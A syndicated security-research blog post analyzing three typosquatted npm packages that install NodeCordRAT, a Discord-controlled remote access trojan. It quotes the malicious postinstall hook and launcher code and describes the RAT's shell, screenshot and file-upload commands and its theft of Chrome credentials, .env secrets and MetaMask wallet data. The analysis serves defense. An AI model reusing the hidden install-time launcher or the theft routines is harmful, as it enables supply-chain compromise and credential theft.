Malicious NPM Packages Deliver NodeCordRAT


IntroductionZscaler ThreatLabz regularly monitors the npm database for suspicious packages. In November 2025, ThreatLabz identified three malicious packages: bitcoin-main-lib, bitcoin-lib-js, and bip40.

[…Keep reading]

CES 2026: Samsung previews the future of the iPhone?

CES 2026: Samsung previews the future of the iPhone?


IntroductionZscaler ThreatLabz regularly monitors the npm database for suspicious packages. In November 2025, ThreatLabz identified three malicious packages: bitcoin-main-lib, bitcoin-lib-js, and bip40. The bitcoin-main-lib and bitcoin-lib-js packages execute a postinstall.cjs script during installation, which installs bip40, the package that contains the malicious payload. This final payload, named NodeCordRAT by ThreatLabz, is a remote access trojan (RAT) with data-stealing capabilities. It is also possible to download bip40 as a standalone package, completely bypassing the other libraries. To deceive developers into downloading the fraudulent packages, the attacker used name variations of real repositories found within the legitimate bitcoinjs project.In this blog post, ThreatLabz analyzes how NodeCordRAT uses Discord for command-and-control (C2), performs credential theft, and orchestrates remote shell access. Although the malicious packages have been removed from the npm database, it is important to examine these types of software supply chain vulnerabilities to learn from them.Key TakeawaysIn November 2025, three malicious npm packages, bitcoin-main-lib, bitcoin-lib-js, and bip40, were discovered. These packages were designed to deliver and install a new RAT malware family.ThreatLabz named this new malware family NodeCordRAT since it is spread via npm and uses Discord servers for C2 communication.NodeCordRAT targets Chrome credentials, sensitive secrets such as API tokens, and MetaMask (a popular cryptocurrency platform) data including keys and seed phrases. ThreatLabz observed several thousand downloads for these malicious npm packages.BackgroundThe bitcoinjs project is a legitimate open-source JavaScript library used by developers to build Bitcoin-related applications. In this attack, the attacker created packages with names resembling repositories within the bitcoinjs ecosystem. These malicious packages include:bip40: Mimics legitimate libraries such as bip38, bip39, and bip32, part of the Bitcoin Improvement Proposals (BIPs) standard.bitcoin-main-lib: While not a direct typosquat, this package uses a name similar to bitcoinjs-lib (a legitimate repository) with associations to the ecosystem.bitcoin-lib-js: Closely matches the legitimate bitcoinjs-lib repository.Package Data SummaryAll three of the malicious packages were uploaded by the same author. The email address [email protected] is associated with multiple versions of the packages. The table below lists the malicious packages, their versions, and the approximate number of downloads:Malicious package nameVersionApproximate number of downloadsbitcoin-lib-js7.2.1183bitcoin-main-lib7.2.0, 7.0.02,286bip401.0.0, 1.0.6958Table 1: Malicious npm package names, version numbers, and approximate number of downloads.Attack FlowsNodeCordRAT is deployed through npm packages with wrapper packages designed to mask the actual malicious package. For example, a developer may download bitcoin-main-lib or bitcoin-lib-js from npm. When the postinstall.cjs script runs, it will fail because it requires another package with the name bip40. Thus, a developer may install the bip40 package to satisfy this dependency. However, the bip40 package is in fact malicious and deploys the NodeCordRAT payload. The attack flow is illustrated in the figure below. Figure 1: The attack flow illustrates NodeCordRAT being deployed by bip40, which is a required dependency for wrapper packages (bitcoin-main-lib or bitcoin-lib-js).Each malicious package includes a package.json, a standard file in npm packages. The attackers modified this file to include a link to the legitimate bitcoinjs project to help the malicious package appear more credible. An excerpt from the package.json code is shown below.”scripts”: {“audit”: “better-npm-audit audit -l high”,“build”: “npm run clean && tsc -p ./tsconfig.json && tsc -p ./tsconfig.cjs.json && npm run formatjs”,“postbuild”: “find src/cjs -type f -name ”*.js” -exec bash -c ‘mv ”$0” ”${0%.js}.cjs”‘ {} \; && chmod +x ./fixup.cjs && node fixup.cjs”,“postinstall”: “node postinstall.cjs”,“bip40:start”: “node postinstall.cjs”,“bip40:stop”: “pm2 stop bip40”,“bip40:status”: “pm2 status bip40”,“bip40:logs”: “pm2 logs bip40”,…,}“repository”: {“type”: “git”,“url”: “https://github.com/bitcoinjs/bitcoinjs-lib.git”}The postinstall.cjs script automates the execution of bip40 by resolving its entry point via require.resolve() and launching it under Process Manager 2 (PM2). The script determines the PM2 binary path based on the operating system and starts bip40 in detached mode, providing runtime persistence. This means bip40 continues running after the installer exits and PM2 will automatically restart it if it crashes during the current session. However, by default, this does not establish persistence across reboots. If PM2 isn’t locally available, the script logs a warning and exits without launching bip40. Notably, no user interaction is required at any point to trigger bip40. An excerpt from the postinstall.cjs code is shown below.// Determines the PM2 binary path based on the operating system.const isWindows = process.platform === ‘win32’;const pm2Binary = path.join(__dirname,‘node_modules’,‘.bin’,isWindows ? ‘pm2.cmd’ : ‘pm2’);// Checks if PM2 exists.if (!fs.existsSync(pm2Binary)) {console.error(‘pm2 binary not found. Please ensure pm2 is installed.’);process.exit(0); // Exits gracefully.}// Starts bip40 with PM2 in detached mode so it doesn’t block NPM install.const args = [‘start’, bip40Path, ‘–name’, ‘bip40’];
const child = spawn(pm2Binary, args, {detached: true, // Detaches from parent process.stdio: ‘ignore’, // Ignores stdio to prevent hanging.windowsHide: true, // Hides window on Windows.});Technical Analysis The following sections examine NodeCordRAT’s capabilities, including its host fingerprinting, C2 communication, and data exfiltration methods. Host fingerprinting and channel namingBefore establishing C2 communication, NodeCordRAT performs host fingerprinting to generate a unique identifier for each compromised machine, in the following format: – (e.g., win32-c5a3f1b4). On Windows, NodeCordRAT fetches the machine’s UUID using wmic csproduct get UUID or the PowerShell command below:(Get-WmiObject -Class Win32_ComputerSystemProduct).UUIDOn Linux and macOS, NodeCordRAT targets files like /etc/machine-id or uses commands such as ioreg -rd1 to obtain a unique system ID.C2 communicationNodeCordRAT uses Discord for its C2 communication. NodeCordRAT first connects to a hardcoded Discord server to initiate a private channel for communication between the infected system and the attacker. Commands are controlled through unique prefixes, as outlined in the table below:Command prefixDescriptionFunctionality!runShell command ExecutionExecutes arbitrary shell commands such as dir, ls, or complex scripts using Node.js’s exec function. !screenshotData collectionCaptures a full-desktop screenshot and exfiltrates the PNG file to the Discord channel.!sendfileData exfiltrationUploads a specified file from the infected machine to the Discord channel.Table 2: The command prefixes supported by NodeCordRAT. Data exfiltrationWhen NodeCordRAT is run, it will extract the following information from an infected system:Chrome credentials: Extracts and uploads Chrome profile Login Data SQLite databases and the Local State file.Sensitive secrets: Recursively searches the user’s home directory for filenames containing .env (skipping common folders like node_modules and .git) and uploads any file matches.MetaMask wallets: Locates and uploads .ldb files under the Chrome User Data directory that include the MetaMask extension ID (nkbihfbeogaeaoehlefnkodbefgpgknn).This data is exfiltrated using Discord’s API with a hardcoded token and sent to a private channel. The stolen files are uploaded as message attachments via Discord’s REST endpoint /channels/{id}/messages. Before uploading the stolen data, NodeCordRAT verifies that each file exists and is not empty. If sending a file fails, the malware will send an error message to the channel such as “Failed to send file [full file path]: [error message]” or “File does not exist: [full file path]”.
ConclusionThreatLabz discovered three npm packages that could lead to the installation of NodeCordRAT, which steals sensitive browser information and cryptocurrency data. While these packages have been removed from npm, there will continue to be similar software supply chain threats in the future.Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to this threat at various levels with the following threat name:JS.RAT.NodeCordRATIndicators Of Compromise (IOCs)Package nameMD5 hashbitcoin-lib-js7a05570cda961f876e63be88eb7e12b8bitcoin-main-libc1c6f4ec5688a557fd7cc5cd1b613649bip409a7564542b0c53cb0333c68baf97449cMITRE ATT&CK FrameworkTacticTechnique IDTechnique nameDescriptionInitial AccessT1588.006Obtain Capabilities: Code Signing CertificatesThe attacker creates a compelling narrative around a legitimate-looking npm package (via typosquatting) that contains the malicious code.Initial AccessT1584.007Compromise Infrastructure: Development PlatformsThe attacker uses a typosquatted npm package to distribute the malware, taking advantage of developers downloading or using incorrect package names in their projects.ExecutionT1059.007Command and Scripting Interpreter: JavaScript/JScriptThe core malicious payload is a Node.js script. This technique involves executing malicious code written in JavaScript, which is native to the Node.js environment.Defense EvasionT1027Obfuscated Files or InformationThe original code used minimal obfuscation (hexadecimal characters, uninformative variable names) to confuse automated analysis and frustrate human reverse-engineering.DiscoveryT1082System Information DiscoveryThe script gathers detailed system information, including operating system (os.platform()), and executes operating system-specific commands (wmic, ioreg) to create a unique fingerprint (UUID/Machine ID) for the compromised host.DiscoveryT1016System Network Configuration DiscoveryThe script implicitly relies on network access to establish the Discord connection and C2 channel.Command and Control (C2)T1102.002Web Service: Social MediaThe script uses the Discord API as its primary C2 communication channel for sending and receiving commands, and exfiltrating data, using a dedicated, private channel per endpoint.CollectionT1552.001Unsecured Credentials: Credentials in FilesThe script actively searches for and exfiltrates unencrypted or weakly-encrypted files (e.g., .env files) containing sensitive plaintext credentials and configuration secrets.CollectionT1539Steal Web Session CookieThe script targets the Chrome User Data directory, indicating an intent to steal web browser session data, cookies, and saved login credentials.CollectionT1213.001Data from Local System: File SharingThe custom !sendfile command allows the threat actor to exfiltrate any specific file from the compromised system’s local file system.CollectionT1113Screen CaptureThe implementation of the !screenshot command allows the attacker to visually monitor user activity and discover sensitive information displayed on the screen.Credential AccessT1555.003Credentials from Web BrowsersThe script specifically targets the Chrome Login Data and Local State files with the intent to decrypt and harvest protected and saved browser credentials. This also includes the highly targeted exfiltration of LevelDB files found near the MetaMask wallet extension ID.ExfiltrationT1041Exfiltration Over C2 ChannelAll sensitive data gathered (e.g., passwords, .env files, screenshots) is uploaded directly to the dedicated Discord C2 channel, using the existing connection for exfiltration.

*** This is a Security Bloggers Network syndicated blog from Security Research | Blog authored by Satyam Singh (Associate Security Researcher). Read the original post at: https://www.zscaler.com/blogs/security-research/malicious-npm-packages-deliver-nodecordrat

About Author

Subscribe To InfoSec Today News

You have successfully subscribed to the newsletter

There was an error while trying to send your request. Please try again.

World Wide Crypto will use the information you provide on this form to be in touch with you and to provide updates and marketing.